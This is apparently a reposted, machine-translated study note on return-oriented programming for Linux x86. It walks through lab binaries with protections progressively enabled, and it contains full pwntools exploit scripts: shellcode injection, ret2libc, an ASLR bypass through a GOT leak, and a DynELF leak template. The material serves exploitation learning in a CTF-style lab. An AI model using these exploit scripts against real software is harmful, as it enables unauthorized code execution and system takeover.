A step-by-step study of ROP Linux x86

Source: Internet
Author: User
Tags tmp folder

Step-by-step study of ROP Linux x86 learning Notes
One, without any protection
Second, turn on DEP
Iii. turning on DEP and ASLR
Iv. turn on DEP and ASLR, no libc

Step-by-step study of ROP Linux x86 learning Notes

This part of the article is mainly based on the steamed rice God 一步一步学ROP series of articles, I also follow, this article mainly records the problems and the experiment did not succeed in the place.

One, without any protection

You can find the relevant information on GitHub without having to compile the vulnerability code yourself, and also have a well-written exp.
From the very beginning of the foundation, learn the stack overflow without any protection. Use CHECKSEC to look at protection:

That is simple, directly with Shellcode hit can, here to notice that the return address of the overlay can be set to buf start address, and then put Shellcode in buf, but this buf address can not be directly debugged by GDB, because GDB debugging will affect the location of BUF , even if we shut down the ASLR of Linux. According to the steamed rice article, it is the function of opening core dump.
After opening, when a memory error occurs, a core dump file is generated under the TMP folder and then loaded with GDB to get the fixed address of buf in memory:

Then the pit, local debugging has not been opened, using Socat in remote, or through the core dump to get remote BUF address, and then the same exp hit on the success, exp as follows:

  
 
  1. #!/usr/bin/env python
  2. from pwn import *
  3. # p = process(‘./level1‘)
  4. p = remote(‘127.0.0.1‘,10008)
  5. ret = 0xffffcec0
  6. # execve ("/bin/sh")
  7. # xor ecx, ecx
  8. # mul ecx
  9. # push ecx
  10. # push 0x68732f2f ;; hs//
  11. # push 0x6e69622f ;; nib/
  12. # mov ebx, esp
  13. # mov al, 11
  14. # int 0x80
  15. shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
  16. shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
  17. shellcode += "\x0b\xcd\x80"
  18. payload = shellcode + ‘A‘ * (140 - len(shellcode)) + p32(ret)
  19. p.send(payload)
  20. p.interactive()

Very strange,,,

Second, turn on DEP

Stacks can not be executed, DEP in Windows, called NX in Linux, look at the protection of Level2:

After the stack cannot be executed, the shellcode is useless, so consider using a system call to open a shell. So we need to solve three things:
· Get the system address
· Get parameter/bin/sh Address
· How to execute the system function
The assumption is that ASLR is closed, so the address of the system function in memory is fixed, and the address of the parameter/bin/sh is fixed. Through the Peda plug-in, find the address of the two respectively:

The address is then returned to the in-memory address of the system, giving Exp:

  
 
  1. from pwn import *
  2. sh = process("./level2")
  3. systemaddr = 0xf7e31020
  4. binaddr = 0xf7f557cf
  5. junk = ‘a‘*136
  6. fakebp = ‘a‘*4
  7. shellcode = ""
  8. shellcode += junk+fakebp
  9. shellcode += p32(systemaddr)
  10. shellcode += p32(1111)
  11. shellcode += p32(binaddr)
  12. sh.send(shellcode)
  13. sh.interactive()

This local test was taken to the shell, or did not understand the level1 of the local test failed problems:

Iii. turning on DEP and ASLR

After the ASLR is turned on, the second part of the system and the parameter address directly in memory can not be used, but the general idea is to execute the system to open a shell.
The idea is to disclose the write function in memory address through the Write function, and then calculate the address of system in memory according to LIBC, and the parameter address can be obtained by the same method. Then decorate the address of the address as the vulnerability function ( 程序本身在内存中地址不是随机的 ), overflow two times, the second implementation system, get the shell, give Exp:

  
 
  1. from pwn import *
  2. # sh = process("./level2")
  3. sh = remote("127.0.0.1",10008)
  4. libc = ELF("libc.so")
  5. elf = ELF("level2")
  6. # offset
  7. readoffset = libc.symbols[‘read‘]
  8. writeoffset = libc.symbols[‘write‘]
  9. systemoffset = libc.symbols[‘system‘]
  10. binoffset = 0x0015F7CF
  11. # plt
  12. readplt = elf.plt[‘read‘]
  13. writeplt = elf.plt[‘write‘]
  14. # got
  15. readgot = elf.got[‘read‘]
  16. writegot = elf.got[‘write‘]
  17. # lead the address of write
  18. payload = ""
  19. vulfun = 0x8048436
  20. junk = ‘a‘*136
  21. fakebp = ‘a‘*4
  22. payload += junk + fakebp
  23. payload += p32(writeplt) + p32(vulfun) + p32(1) + p32(writegot) + p32(4)
  24. sh.send(payload)
  25. writeaddress = u32(sh.recv(4))
  26. # calc the system and /bin/sh
  27. systemadress = writeaddress - writeoffset + systemoffset
  28. binaddress = writeaddress - writeoffset + binoffset
  29. payload2 = ""
  30. payload2 += junk + fakebp
  31. payload2 += p32(systemadress) + p32(1) + p32(binaddress)
  32. sh.send(payload2)
  33. sh.interactive()

After the local test passes, try a remote call
Through the SOCAT command:

 
   
  
  1. socat TCP4-LISTEN:10008,fork EXEC:./level2

Equally successful:

Iv. turn on DEP and ASLR, no libc

When DEP and ASLR are turned on, and there is no libc, the third method is not good enough, but this is an old routine.
Use Pwntools's dynelf to reveal the memory address of the system, and then call the Read function to write "/bin/sh" in the. BSS section, and then call system.
Tell me more about how to use the Dynelf module, which is the basic template:

  
 
  1. p = process(‘./xxx‘)
  2. def leak(address):
  3. #各种预处理
  4. payload = "xxxxxxxx" + address + "xxxxxxxx"
  5. p.send(payload)
  6. #各种处理
  7. data = p.recv(4)
  8. log.debug("%#x => %s" % (address, (data or ‘‘).encode(‘hex‘)))
  9. return data
  10. d = DynELF(leak, elf=ELF("./xxx")) #初始化DynELF模块
  11. systemAddress = d.lookup(‘system‘, ‘libc‘) #在libc文件中搜索system函数的地址

The module is pwntools specifically designed to deal with situations where there is no libc.

A step-by-step study of ROP Linux x86

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.